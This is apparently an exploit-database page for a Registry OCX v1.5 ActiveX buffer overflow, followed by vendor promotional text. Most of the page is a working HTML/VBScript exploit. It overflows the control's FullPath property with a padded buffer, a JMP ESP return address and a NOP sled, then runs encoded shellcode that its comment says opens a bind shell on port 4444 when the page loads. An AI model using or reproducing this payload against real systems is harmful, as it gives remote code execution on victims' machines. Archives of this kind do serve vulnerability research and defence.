Registry OCX v1.5 ActiveX Buffer Overflow Exploit
=================================================
Registry OCX v1.5 ActiveX Buffer Overflow Exploit
=================================================
# Tested on: Windows XP SP3 IE6/7
<html>
<object classid='clsid:6D5B4E71-625F-11D2-B3AE-00A0C932C7DF' id='target'
></object>
<script language='vbscript'>
' Registry OCX Remote Buffer Overflow
' Written by Blake
buffer = String(2008, "A")
eip = unescape("%f3%30%9d%7c") 'eip 7C9D30F3 JMP ESP - SHELL32
nops = String(20, unescape("%90")) ' nop sled
junk = String(804, "D")
' bind shell port 4444
sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
& _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34")
& _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
& _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4c%56%4b%4e")
& _
unescape("%4d%54%4a%4e%49%4f%4f%4f%4f%4f%4f%4f%42%56%4b%48")
& _
unescape("%4e%56%46%32%46%32%4b%38%45%44%4e%53%4b%58%4e%37")
& _
unescape("%45%30%4a%57%41%30%4f%4e%4b%48%4f%34%4a%51%4b%58")
& _
unescape("%4f%35%42%52%41%50%4b%4e%49%54%4b%48%46%53%4b%48")
& _
unescape("%41%50%50%4e%41%33%42%4c%49%59%4e%4a%46%38%42%4c")
& _
unescape("%46%37%47%50%41%4c%4c%4c%4d%30%41%30%44%4c%4b%4e")
& _
unescape("%46%4f%4b%53%46%55%46%42%4a%52%45%57%45%4e%4b%58")
& _
unescape("%4f%35%46%32%41%30%4b%4e%48%56%4b%58%4e%30%4b%44")
& _
unescape("%4b%58%4f%55%4e%51%41%50%4b%4e%43%50%4e%32%4b%48")
& _
unescape("%49%38%4e%56%46%42%4e%31%41%46%43%4c%41%53%4b%4d")
& _
unescape("%46%36%4b%58%43%54%42%43%4b%48%42%44%4e%50%4b%58")
& _
unescape("%42%47%4e%51%4d%4a%4b%38%42%54%4a%30%50%35%4a%56")
& _
unescape("%50%48%50%54%50%30%4e%4e%42%55%4f%4f%48%4d%48%46")
& _
unescape("%43%35%48%56%4a%36%43%33%44%53%4a%46%47%47%43%37")
& _
unescape("%44%43%4f%45%46%55%4f%4f%42%4d%4a%46%4b%4c%4d%4e")
& _
unescape("%4e%4f%4b%43%42%55%4f%4f%48%4d%4f%35%49%48%45%4e")
& _
unescape("%48%56%41%38%4d%4e%4a%30%44%50%45%45%4c%36%44%50")
& _
unescape("%4f%4f%42%4d%4a%46%49%4d%49%50%45%4f%4d%4a%47%55")
& _
unescape("%4f%4f%48%4d%43%55%43%35%43%35%43%55%43%45%43%54")
& _
unescape("%43%55%43%54%43%45%4f%4f%42%4d%48%56%4a%56%41%41")
& _
unescape("%4e%45%48%46%43%55%49%48%41%4e%45%39%4a%36%46%4a")
& _
unescape("%4c%31%42%37%47%4c%47%55%4f%4f%48%4d%4c%46%42%41")
& _
unescape("%41%55%45%35%4f%4f%42%4d%4a%46%46%4a%4d%4a%50%32")
& _
unescape("%49%4e%47%35%4f%4f%48%4d%43%55%45%55%4f%4f%42%4d")
& _
unescape("%4a%36%45%4e%49%34%48%48%49%54%47%45%4f%4f%48%4d")
& _
unescape("%42%35%46%35%46%55%45%45%4f%4f%42%4d%43%39%4a%46")
& _
unescape("%47%4e%49%37%48%4c%49%57%47%35%4f%4f%48%4d%45%45")
& _
unescape("%4f%4f%42%4d%48%56%4c%36%46%56%48%56%4a%46%43%46")
& _
unescape("%4d%56%49%38%45%4e%4c%56%42%45%49%35%49%42%4e%4c")
& _
unescape("%49%38%47%4e%4c%46%46%54%49%38%44%4e%41%33%42%4c")
& _
unescape("%43%4f%4c%4a%50%4f%44%54%4d%32%50%4f%44%44%4e%32")
& _
unescape("%43%49%4d%58%4c%57%4a%53%4b%4a%4b%4a%4b%4a%4a%46")
& _
unescape("%44%57%50%4f%43%4b%48%41%4f%4f%45%57%46%44%4f%4f")
& _
unescape("%48%4d%4b%55%47%55%44%55%41%45%41%45%41%45%4c%56")
& _
unescape("%41%30%41%45%41%35%45%45%41%45%4f%4f%42%4d%4a%46")
& _
unescape("%4d%4a%49%4d%45%30%50%4c%43%45%4f%4f%48%4d%4c%36")
& _
unescape("%4f%4f%4f%4f%47%43%4f%4f%42%4d%4b%38%47%35%4e%4f")
& _
unescape("%43%38%46%4c%46%46%4f%4f%48%4d%44%55%4f%4f%42%4d")
& _
unescape("%4a%46%42%4f%4c%58%46%30%4f%45%43%35%4f%4f%48%4d")
& _
unescape("%4f%4f%42%4d%5a")
exploit = buffer + eip + nops + sc + junk
target.FullPath = exploit
</script>
# 0day.today [2018-03-17] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Jul 2010 00:00Current
7.1High risk
Vulners AI Score7.1